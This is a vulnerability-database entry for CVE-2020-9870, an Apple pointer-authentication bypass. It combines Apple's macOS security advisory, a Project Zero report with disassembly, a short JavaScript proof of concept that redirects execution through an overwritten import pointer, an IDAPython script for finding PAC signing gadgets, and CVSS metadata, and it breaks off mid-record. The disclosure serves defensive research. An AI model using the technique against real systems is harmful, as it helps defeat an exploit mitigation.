var-202010-1272
Vulnerability from variot
A logic issue was addressed with improved validation. This issue is fixed in iOS 13.6 and iPadOS 13.6, macOS Catalina 10.15.6, tvOS 13.4.8. An attacker with memory write capability may be able to bypass pointer authentication codes and run arbitrary code. Apple macOS Catalina is a set of dedicated operating systems developed by Apple for Mac computers. A security vulnerability exists in the Clang component of Apple macOS Catalina versions prior to 10.15.6. An attacker could exploit this vulnerability to bypass security restrictions. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
APPLE-SA-2020-07-15-2 macOS Catalina 10.15.6, Security Update 2020-004 Mojave, Security Update 2020-004 High Sierra
macOS Catalina 10.15.6, Security Update 2020-004 Mojave, Security Update 2020-004 High Sierra are now available and address the following:
Audio Available for: macOS Catalina 10.15.5 Impact: Processing a maliciously crafted audio file may lead to arbitrary code execution Description: An out-of-bounds write issue was addressed with improved bounds checking. CVE-2020-9884: Yu Zhou(@yuzhou6666) of 小鸡帮 working with Trend Micro Zero Day Initiative CVE-2020-9889: JunDong Xie and XingWei Li of Ant-financial Light-Year Security Lab
Audio Available for: macOS Catalina 10.15.5 Impact: Processing a maliciously crafted audio file may lead to arbitrary code execution Description: An out-of-bounds read was addressed with improved bounds checking. CVE-2020-9888: JunDong Xie and XingWei Li of Ant-financial Light-Year Security Lab CVE-2020-9890: JunDong Xie and XingWei Li of Ant-financial Light-Year Security Lab CVE-2020-9891: JunDong Xie and XingWei Li of Ant-financial Light-Year Security Lab
Clang Available for: macOS Catalina 10.15.5 Impact: Clang may generate machine code that does not correctly enforce pointer authentication codes Description: A logic issue was addressed with improved validation. CVE-2020-9870: Samuel Groß of Google Project Zero
CoreAudio Available for: macOS High Sierra 10.13.6 Impact: A buffer overflow may result in arbitrary code execution Description: A buffer overflow was addressed with improved bounds checking. CVE-2020-9866: Yu Zhou of 小鸡帮 and Jundong Xie of Ant-financial Light- Year Security Lab
CoreFoundation Available for: macOS Catalina 10.15.5 Impact: A local user may be able to view sensitive user information Description: An issue existed in the handling of environment variables. CVE-2020-9934: an anonymous researcher
Crash Reporter Available for: macOS Catalina 10.15.5 Impact: A malicious application may be able to break out of its sandbox Description: A memory corruption issue was addressed by removing the vulnerable code. CVE-2020-9865: Zhuo Liang of Qihoo 360 Vulcan Team working with 360 BugCloud
Grpahics Drivers Available for: macOS Catalina 10.15.5 Impact: A malicious application may be able to execute arbitrary code with kernel privileges Description: An out-of-bounds read was addressed with improved bounds checking. CVE-2020-9799: ABC Research s.r.o.
Heimdal Available for: macOS Catalina 10.15.5 Impact: A local user may be able to leak sensitive user information Description: This issue was addressed with improved data protection. CVE-2020-9913: Cody Thomas of SpecterOps
ImageIO Available for: macOS Catalina 10.15.5 Impact: Processing a maliciously crafted image may lead to arbitrary code execution Description: An out-of-bounds write issue was addressed with improved bounds checking. CVE-2020-9936: Mickey Jin of Trend Micro
Kernel Available for: macOS Catalina 10.15.5 Impact: An attacker in a privileged network position may be able to inject into active connections within a VPN tunnel Description: A routing issue was addressed with improved restrictions. CVE-2019-14899: William J. Tolley, Beau Kujath, and Jedidiah R. Crandall
Mail Available for: macOS Catalina 10.15.5 Impact: A remote attacker can cause a limited out-of-bounds write, resulting in a denial of service Description: An input validation issue was addressed. CVE-2019-19906
Messages Available for: macOS Catalina 10.15.5 Impact: A user that is removed from an iMessage group could rejoin the group Description: An issue existed in the handling of iMessage tapbacks. CVE-2020-9885: an anonymous researcher, Suryansh Mansharamani, of WWP High School North (medium.com/@suryanshmansha)
Model I/O Available for: macOS Catalina 10.15.5 Impact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution Description: A buffer overflow issue was addressed with improved memory handling. CVE-2020-9878: Holger Fuhrmannek of Deutsche Telekom Security
Security Available for: macOS Catalina 10.15.5 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A logic issue was addressed with improved restrictions. CVE-2020-9864: Alexander Holodny
Vim Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6 Impact: A remote attacker may be able to cause arbitrary code execution Description: This issue was addressed with improved checks. CVE-2019-20807: Guilherme de Almeida Suckevicz
Wi-Fi Available for: macOS Catalina 10.15.5 Impact: A remote attacker may be able to cause unexpected system termination or corrupt kernel memory Description: An out-of-bounds read was addressed with improved input validation. CVE-2020-9918: Jianjun Dai of 360 Alpha Lab working with 360 BugCloud (bugcloud.360.cn)
Additional recognition
USB Audio We would like to acknowledge Andy Davis of NCC Group for their assistance.
Installation note:
macOS Catalina 10.15.6, Security Update 2020-004 Mojave, Security Update 2020-004 High Sierra may be obtained from the Mac App Store or Apple's Software Downloads web site: https://support.apple.com/downloads/ -----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEM5FaaFRjww9EJgvRBz4uGe3y0M0FAl8PNx0ACgkQBz4uGe3y 0M3aXhAAm0hhJpdR0h7uhbtT6LkOuBAYbn0ivAbaB2wzEgZJNXBi9pwd/eL+I1tZ FsYG2Ux0P7VOXClepKzM/yi2Y9w9JZt/u5jSpps7n4/6k4JpcBT74IBF8A4iUvfQ DZcd58rTYf7PuO28ZW9FcYVhgMrN1oPheg0yr+ZaM+0wJrBfPg5STX9AwtPw5P4B aDMYGqv6EQLRiI/cj18/BnLD9kuYq2/fvO/AVjTzAGWVWmY0jpEaaHoeEgSbocNd qVpobhb8K8aK3PjfocK62hSH9DF0yBQYVsnX+bRmTDqzkWK4FXN6fG2ObiI+9ytq wJ6RPT9N5rkIsru8iqaYW6vo5eS61tCAxSgsOsWsm9+KAaBLOnrLzago3kQbtnTG SQBDDSW5w1iI/+kypdCCE67I67psSxPfrDdPU2wG3arQjnE4xm7S4eOE+9cBlKY+ bsNpFcYgShyZ6GnaJ1yVbZgR2zK97xbKYp8xbEOICeCchO1vF31hlDxsMl09UV1U eYJ3sOqBUxDpUj2vjpP9pB4ocSlHdAENL/5dyWUPlx8wjpnodRX2HsPHonjTqM4y kgwJjHI26LZWU4icKIPvl8875ksw/sCmKpVZlbF0IRPvd58ITt5rSvUTQulKqVs6 ML/l/uIf4shjBmNz0xdQlzsdctxdnPh1ge1kNfH34X4JgPWVWaM= =GCJp -----END PGP SIGNATURE-----
. It does that by cryptographically signing and validating code pointers (as well as some data pointers) at runtime. However, it seems that imports of function pointers from shared libraries in userspace are not properly protected by PAC, allowing an attacker to sign arbitrary pointers and thus bypass PAC. The preconditions and impact of this issue should be the same as for issue #2042, thus I'm reporting it via our tracker.
Consider the following code from WebKit:
LValue Output::doublePow(LValue xOperand, LValue yOperand)
{
double (*powDouble)(double, double) = pow;
return callWithoutSideEffects(B3::Double, powDouble, xOperand, yOperand);
}
This function from the FTL JIT compiler is responsible for lowering a Math.pow invocation (when called with doubles as arguments) by inserting a call to the pow c library function (see man 3 pow). In iOS 13.4.1 on arm64e, this function looks as follows when disassembled:
; __int64 __fastcall JSC::FTL::Output::doublePow(JSC::FTL::Output *__hidden this, JSC::B3::Value *, JSC::B3::Value *)
__ZN3JSC3FTL6Output9doublePowEPNS_2B35ValueES4_
MOV X4, X2
MOV X3, X1
ADRP X16, #_pow_ptr_3@PAGE
LDR X16, [X16,#_pow_ptr_3@PAGEOFF]
PACIZA X16
MOV X2, X16
MOV W1, #4
B __ZN3JSC3FTL6Output22callWithoutSideEffectsIPFdddEJPNS_2B35ValueEEEES7_NS5_4TypeET_S7_DpT0_ ; JSC::FTL::Output::callWithoutSideEffects<double (*)(double,double),JSC::B3::Value *>(JSC::B3::Type,double (*)(double,double),JSC::B3::Value *,JSC::B3::Value *)
; End of function JSC::FTL::Output::doublePow(JSC::B3::Value *,JSC::B3::Value *)
This code essentially loads a pointer from a static address, then signs it with the PACIZA instruction [2] and passes it on to the callWithoutSideEffects function, which then embeds a call to it into the emitted JIT code. Note that no PAC validation of the loaded function pointer is performed, and in fact, the retrieved pointer is not PAC-signed at all. As the region from which the pointer is loaded is writable, an attacker is able to change the function pointer stored there, causing WebKit to later sign and execute an arbitrary address. The following JavaScript code snippet demonstrates this, assuming the attacker has already achieved arbitrary memory read/write:
// offset from iOS 13.4.1, iPhone Xs
let powImportAddr = Add(jscBase, 0x34e1d570);
memory.writePtr(powImportAddr, new Int64('0x41414141'));
function trigger(x) {
return Math.pow(x, 13.37);
}
for (let i = 0; i < 10000000; i++) {
trigger(i + 0.1);
}
This will cause the renderer process to crash with PC at 0x41414141, demonstrating that PAC has been bypassed.
The vulnerable code pattern seems to be widespread, for example, here is a similar piece of code from libxpc:
libxpc:__text:00000001AA9A5F00 ADRP X16, #_free_ptr_1@PAGE
libxpc:__text:00000001AA9A5F04 LDR X16, [X16,#_free_ptr_1@PAGEOFF]
libxpc:__text:00000001AA9A5F08 PACIZA X16
It seems that this problem generally occurs whenever a function from a shared library is referenced as pointer as opposed to being called directly.
I used an IDAPython script to search the dyld shared cache for PAC signing gadgets such as this one. It is still very rudimentary at this point, but I'm attaching it below. The script will search for PAC signing instructions, then output their location as well as the potential \"gadget\" (which includes the four preceding instructions) into a file. Afterwards, that file can be searched for interesting code patterns. There are a few very frequent but safe patterns such as ADRL X16, sub_1AA9A6F94; PACIZA X16 (which signs a constant pointer). They can, for the most part, easily be removed from the output file though (e.g. with \":g/ADRL/d\" in vim). Ideally, in the future the script itself would be able to identify these patterns and skip them.
import idautils
import idaapi
import ida_nalt
import idc
from os.path import expanduser
home = expanduser(\"~\")
mnemonics = ['PACIA', 'PACIZA', 'PACIA1716', 'PACIAZ']
gadgets = []
for seg_ea in idautils.Segments():
seg_name = idc.get_segm_name(seg_ea)
seg_start = idc.get_segm_start(seg_ea)
seg_end = idc.get_segm_end(seg_ea)
for func_ea in idautils.Functions(seg_start, seg_end):
for (start_ea, end_ea) in idautils.Chunks(func_ea):
for head in idautils.Heads(start_ea, end_ea):
insn = idautils.DecodeInstruction(head)
if not insn:
continue
if insn.itype == idaapi.ARM_pac:
disas = idc.GetDisasm(head)
if not any(mn in disas for mn in mnemonics):
continue
parts = []
for ea in range(head - 20, head + 4, 4):
parts.append(idc.GetDisasm(ea))
gadgets.append('{}:0x{:x} '.format(seg_name, head) + '; '.join(parts))
with open(home + \"/Desktop/gadgets.txt\", \"w\") as f:
f.write('\
'.join(gadgets)) f.write('\ ')
print(\"Done, found {} gadgets\".format(len(gadgets)))
[1] https://support.apple.com/guide/security/pointer-authentication-codes-seca5759bf02/web [2] https://developer.arm.com/docs/100076/0100/instruction-set-reference/a64-general-instructions/pacia-paciza-pacia1716-paciasp-paciaz
This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-08-18. Disclosure at an earlier date is possible if agreed upon by all parties.
Related CVE Numbers: CVE-2020-9870.
Found by: saelo@google.com
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202010-1272",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "mac os x",
"scope": "lt",
"trust": 1.0,
"vendor": "apple",
"version": "10.15.6"
},
{
"model": "iphone os",
"scope": "lt",
"trust": 1.0,
"vendor": "apple",
"version": "13.6"
},
{
"model": "tvos",
"scope": "lt",
"trust": 1.0,
"vendor": "apple",
"version": "13.4.8"
},
{
"model": "ipados",
"scope": "lt",
"trust": 1.0,
"vendor": "apple",
"version": "13.6"
},
{
"model": "mac os x",
"scope": "eq",
"trust": 0.8,
"vendor": "apple",
"version": "10.15.5"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2020-009935"
},
{
"db": "NVD",
"id": "CVE-2020-9870"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:apple:mac_os_x",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2020-009935"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "saelo, Google Security Research",
"sources": [
{
"db": "PACKETSTORM",
"id": "158923"
},
{
"db": "CNNVD",
"id": "CNNVD-202007-1068"
}
],
"trust": 0.7
},
"cve": "CVE-2020-9870",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.0,
"id": "CVE-2020-9870",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.1,
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Low",
"accessVector": "Network",
"authentication": "Single",
"author": "NVD",
"availabilityImpact": "Partial",
"baseScore": 6.5,
"confidentialityImpact": "Partial",
"exploitabilityScore": null,
"id": "JVNDB-2020-009935",
"impactScore": null,
"integrityImpact": "Partial",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "Medium",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.0,
"id": "VHN-187995",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:S/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2020-9870",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 8.8,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "JVNDB-2020-009935",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "Low",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2020-9870",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "JVNDB-2020-009935",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-202007-1068",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-187995",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2020-9870",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-187995"
},
{
"db": "VULMON",
"id": "CVE-2020-9870"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009935"
},
{
"db": "CNNVD",
"id": "CNNVD-202007-1068"
},
{
"db": "NVD",
"id": "CVE-2020-9870"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "A logic issue was addressed with improved validation. This issue is fixed in iOS 13.6 and iPadOS 13.6, macOS Catalina 10.15.6, tvOS 13.4.8. An attacker with memory write capability may be able to bypass pointer authentication codes and run arbitrary code. Apple macOS Catalina is a set of dedicated operating systems developed by Apple for Mac computers. A security vulnerability exists in the Clang component of Apple macOS Catalina versions prior to 10.15.6. An attacker could exploit this vulnerability to bypass security restrictions. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-2020-07-15-2 macOS Catalina 10.15.6, Security Update\n2020-004 Mojave, Security Update 2020-004 High Sierra\n\nmacOS Catalina 10.15.6, Security Update 2020-004 Mojave, Security\nUpdate 2020-004 High Sierra are now available and address the\nfollowing:\n\nAudio\nAvailable for: macOS Catalina 10.15.5\nImpact: Processing a maliciously crafted audio file may lead to\narbitrary code execution\nDescription: An out-of-bounds write issue was addressed with improved\nbounds checking. \nCVE-2020-9884: Yu Zhou(@yuzhou6666) of \u5c0f\u9e21\u5e2e working with Trend Micro\nZero Day Initiative\nCVE-2020-9889: JunDong Xie and XingWei Li of Ant-financial Light-Year\nSecurity Lab\n\nAudio\nAvailable for: macOS Catalina 10.15.5\nImpact: Processing a maliciously crafted audio file may lead to\narbitrary code execution\nDescription: An out-of-bounds read was addressed with improved bounds\nchecking. \nCVE-2020-9888: JunDong Xie and XingWei Li of Ant-financial Light-Year\nSecurity Lab\nCVE-2020-9890: JunDong Xie and XingWei Li of Ant-financial Light-Year\nSecurity Lab\nCVE-2020-9891: JunDong Xie and XingWei Li of Ant-financial Light-Year\nSecurity Lab\n\nClang\nAvailable for: macOS Catalina 10.15.5\nImpact: Clang may generate machine code that does not correctly\nenforce pointer authentication codes\nDescription: A logic issue was addressed with improved validation. \nCVE-2020-9870: Samuel Gro\u00df of Google Project Zero\n\nCoreAudio\nAvailable for: macOS High Sierra 10.13.6\nImpact: A buffer overflow may result in arbitrary code execution\nDescription: A buffer overflow was addressed with improved bounds\nchecking. \nCVE-2020-9866: Yu Zhou of \u5c0f\u9e21\u5e2e and Jundong Xie of Ant-financial Light-\nYear Security Lab\n\nCoreFoundation\nAvailable for: macOS Catalina 10.15.5\nImpact: A local user may be able to view sensitive user information\nDescription: An issue existed in the handling of environment\nvariables. \nCVE-2020-9934: an anonymous researcher\n\nCrash Reporter\nAvailable for: macOS Catalina 10.15.5\nImpact: A malicious application may be able to break out of its\nsandbox\nDescription: A memory corruption issue was addressed by removing the\nvulnerable code. \nCVE-2020-9865: Zhuo Liang of Qihoo 360 Vulcan Team working with 360\nBugCloud\n\nGrpahics Drivers\nAvailable for: macOS Catalina 10.15.5\nImpact: A malicious application may be able to execute arbitrary code\nwith kernel privileges\nDescription: An out-of-bounds read was addressed with improved bounds\nchecking. \nCVE-2020-9799: ABC Research s.r.o. \n\nHeimdal\nAvailable for: macOS Catalina 10.15.5\nImpact: A local user may be able to leak sensitive user information\nDescription: This issue was addressed with improved data protection. \nCVE-2020-9913: Cody Thomas of SpecterOps\n\nImageIO\nAvailable for: macOS Catalina 10.15.5\nImpact: Processing a maliciously crafted image may lead to arbitrary\ncode execution\nDescription: An out-of-bounds write issue was addressed with improved\nbounds checking. \nCVE-2020-9936: Mickey Jin of Trend Micro\n\nKernel\nAvailable for: macOS Catalina 10.15.5\nImpact: An attacker in a privileged network position may be able to\ninject into active connections within a VPN tunnel\nDescription: A routing issue was addressed with improved\nrestrictions. \nCVE-2019-14899: William J. Tolley, Beau Kujath, and Jedidiah R. \nCrandall\n\nMail\nAvailable for: macOS Catalina 10.15.5\nImpact: A remote attacker can cause a limited out-of-bounds write,\nresulting in a denial of service\nDescription: An input validation issue was addressed. \nCVE-2019-19906\n\nMessages\nAvailable for: macOS Catalina 10.15.5\nImpact: A user that is removed from an iMessage group could rejoin\nthe group\nDescription: An issue existed in the handling of iMessage tapbacks. \nCVE-2020-9885: an anonymous researcher, Suryansh Mansharamani, of WWP\nHigh School North (medium.com/@suryanshmansha)\n\nModel I/O\nAvailable for: macOS Catalina 10.15.5\nImpact: Processing a maliciously crafted USD file may lead to\nunexpected application termination or arbitrary code execution\nDescription: A buffer overflow issue was addressed with improved\nmemory handling. \nCVE-2020-9878: Holger Fuhrmannek of Deutsche Telekom Security\n\nSecurity\nAvailable for: macOS Catalina 10.15.5\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A logic issue was addressed with improved restrictions. \nCVE-2020-9864: Alexander Holodny\n\nVim\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\nImpact: A remote attacker may be able to cause arbitrary code\nexecution\nDescription: This issue was addressed with improved checks. \nCVE-2019-20807: Guilherme de Almeida Suckevicz\n\nWi-Fi\nAvailable for: macOS Catalina 10.15.5\nImpact: A remote attacker may be able to cause unexpected system\ntermination or corrupt kernel memory\nDescription: An out-of-bounds read was addressed with improved input\nvalidation. \nCVE-2020-9918: Jianjun Dai of 360 Alpha Lab working with 360 BugCloud\n(bugcloud.360.cn)\n\nAdditional recognition\n\nUSB Audio\nWe would like to acknowledge Andy Davis of NCC Group for their\nassistance. \n\nInstallation note:\n\nmacOS Catalina 10.15.6, Security Update 2020-004 Mojave, Security\nUpdate 2020-004 High Sierra may be obtained from the Mac App Store or\nApple\u0027s Software Downloads web site:\nhttps://support.apple.com/downloads/\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEM5FaaFRjww9EJgvRBz4uGe3y0M0FAl8PNx0ACgkQBz4uGe3y\n0M3aXhAAm0hhJpdR0h7uhbtT6LkOuBAYbn0ivAbaB2wzEgZJNXBi9pwd/eL+I1tZ\nFsYG2Ux0P7VOXClepKzM/yi2Y9w9JZt/u5jSpps7n4/6k4JpcBT74IBF8A4iUvfQ\nDZcd58rTYf7PuO28ZW9FcYVhgMrN1oPheg0yr+ZaM+0wJrBfPg5STX9AwtPw5P4B\naDMYGqv6EQLRiI/cj18/BnLD9kuYq2/fvO/AVjTzAGWVWmY0jpEaaHoeEgSbocNd\nqVpobhb8K8aK3PjfocK62hSH9DF0yBQYVsnX+bRmTDqzkWK4FXN6fG2ObiI+9ytq\nwJ6RPT9N5rkIsru8iqaYW6vo5eS61tCAxSgsOsWsm9+KAaBLOnrLzago3kQbtnTG\nSQBDDSW5w1iI/+kypdCCE67I67psSxPfrDdPU2wG3arQjnE4xm7S4eOE+9cBlKY+\nbsNpFcYgShyZ6GnaJ1yVbZgR2zK97xbKYp8xbEOICeCchO1vF31hlDxsMl09UV1U\neYJ3sOqBUxDpUj2vjpP9pB4ocSlHdAENL/5dyWUPlx8wjpnodRX2HsPHonjTqM4y\nkgwJjHI26LZWU4icKIPvl8875ksw/sCmKpVZlbF0IRPvd58ITt5rSvUTQulKqVs6\nML/l/uIf4shjBmNz0xdQlzsdctxdnPh1ge1kNfH34X4JgPWVWaM=\n=GCJp\n-----END PGP SIGNATURE-----\n\n\n. It does that by cryptographically signing and validating code pointers (as well as some data pointers) at runtime. However, it seems that imports of function pointers from shared libraries in userspace are not properly protected by PAC, allowing an attacker to sign arbitrary pointers and thus bypass PAC. The preconditions and impact of this issue should be the same as for issue #2042, thus I\u0027m reporting it via our tracker. \n\nConsider the following code from WebKit:\n\n LValue Output::doublePow(LValue xOperand, LValue yOperand)\n {\n double (*powDouble)(double, double) = pow;\n return callWithoutSideEffects(B3::Double, powDouble, xOperand, yOperand);\n }\n\nThis function from the FTL JIT compiler is responsible for lowering a Math.pow invocation (when called with doubles as arguments) by inserting a call to the pow c library function (see `man 3 pow`). In iOS 13.4.1 on arm64e, this function looks as follows when disassembled:\n\n ; __int64 __fastcall JSC::FTL::Output::doublePow(JSC::FTL::Output *__hidden this, JSC::B3::Value *, JSC::B3::Value *)\n __ZN3JSC3FTL6Output9doublePowEPNS_2B35ValueES4_\n MOV X4, X2\n MOV X3, X1\n ADRP X16, #_pow_ptr_3@PAGE\n LDR X16, [X16,#_pow_ptr_3@PAGEOFF]\n PACIZA X16\n MOV X2, X16\n MOV W1, #4\n B __ZN3JSC3FTL6Output22callWithoutSideEffectsIPFdddEJPNS_2B35ValueEEEES7_NS5_4TypeET_S7_DpT0_ ; JSC::FTL::Output::callWithoutSideEffects\u003cdouble (*)(double,double),JSC::B3::Value *\u003e(JSC::B3::Type,double (*)(double,double),JSC::B3::Value *,JSC::B3::Value *)\n ; End of function JSC::FTL::Output::doublePow(JSC::B3::Value *,JSC::B3::Value *)\n\nThis code essentially loads a pointer from a static address, then signs it with the PACIZA instruction [2] and passes it on to the callWithoutSideEffects function, which then embeds a call to it into the emitted JIT code. Note that no PAC validation of the loaded function pointer is performed, and in fact, the retrieved pointer is not PAC-signed at all. As the region from which the pointer is loaded is writable, an attacker is able to change the function pointer stored there, causing WebKit to later sign and execute an arbitrary address. The following JavaScript code snippet demonstrates this, assuming the attacker has already achieved arbitrary memory read/write:\n\n // offset from iOS 13.4.1, iPhone Xs\n let powImportAddr = Add(jscBase, 0x34e1d570);\n memory.writePtr(powImportAddr, new Int64(\u00270x41414141\u0027));\n\n function trigger(x) {\n return Math.pow(x, 13.37);\n }\n for (let i = 0; i \u003c 10000000; i++) {\n trigger(i + 0.1);\n }\n\nThis will cause the renderer process to crash with PC at 0x41414141, demonstrating that PAC has been bypassed. \n\nThe vulnerable code pattern seems to be widespread, for example, here is a similar piece of code from libxpc:\n\n libxpc:__text:00000001AA9A5F00 ADRP X16, #_free_ptr_1@PAGE\n libxpc:__text:00000001AA9A5F04 LDR X16, [X16,#_free_ptr_1@PAGEOFF]\n libxpc:__text:00000001AA9A5F08 PACIZA X16\n\nIt seems that this problem generally occurs whenever a function from a shared library is referenced as pointer as opposed to being called directly. \n\nI used an IDAPython script to search the dyld shared cache for PAC signing gadgets such as this one. It is still very rudimentary at this point, but I\u0027m attaching it below. The script will search for PAC signing instructions, then output their location as well as the potential \\\"gadget\\\" (which includes the four preceding instructions) into a file. Afterwards, that file can be searched for interesting code patterns. There are a few very frequent but safe patterns such as `ADRL X16, sub_1AA9A6F94; PACIZA X16` (which signs a constant pointer). They can, for the most part, easily be removed from the output file though (e.g. with \\\":g/ADRL/d\\\" in vim). Ideally, in the future the script itself would be able to identify these patterns and skip them. \n\n import idautils\n import idaapi\n import ida_nalt\n import idc\n\n from os.path import expanduser\n home = expanduser(\\\"~\\\")\n\n mnemonics = [\u0027PACIA\u0027, \u0027PACIZA\u0027, \u0027PACIA1716\u0027, \u0027PACIAZ\u0027]\n\n gadgets = []\n\n for seg_ea in idautils.Segments():\n seg_name = idc.get_segm_name(seg_ea)\n seg_start = idc.get_segm_start(seg_ea)\n seg_end = idc.get_segm_end(seg_ea)\n\n for func_ea in idautils.Functions(seg_start, seg_end):\n for (start_ea, end_ea) in idautils.Chunks(func_ea):\n for head in idautils.Heads(start_ea, end_ea):\n insn = idautils.DecodeInstruction(head)\n if not insn:\n continue\n\n if insn.itype == idaapi.ARM_pac:\n disas = idc.GetDisasm(head)\n if not any(mn in disas for mn in mnemonics):\n continue\n\n parts = []\n for ea in range(head - 20, head + 4, 4):\n parts.append(idc.GetDisasm(ea))\n gadgets.append(\u0027{}:0x{:x} \u0027.format(seg_name, head) + \u0027; \u0027.join(parts))\n\n\n with open(home + \\\"/Desktop/gadgets.txt\\\", \\\"w\\\") as f:\n f.write(\u0027\\\n\u0027.join(gadgets))\n f.write(\u0027\\\n\u0027)\n\n print(\\\"Done, found {} 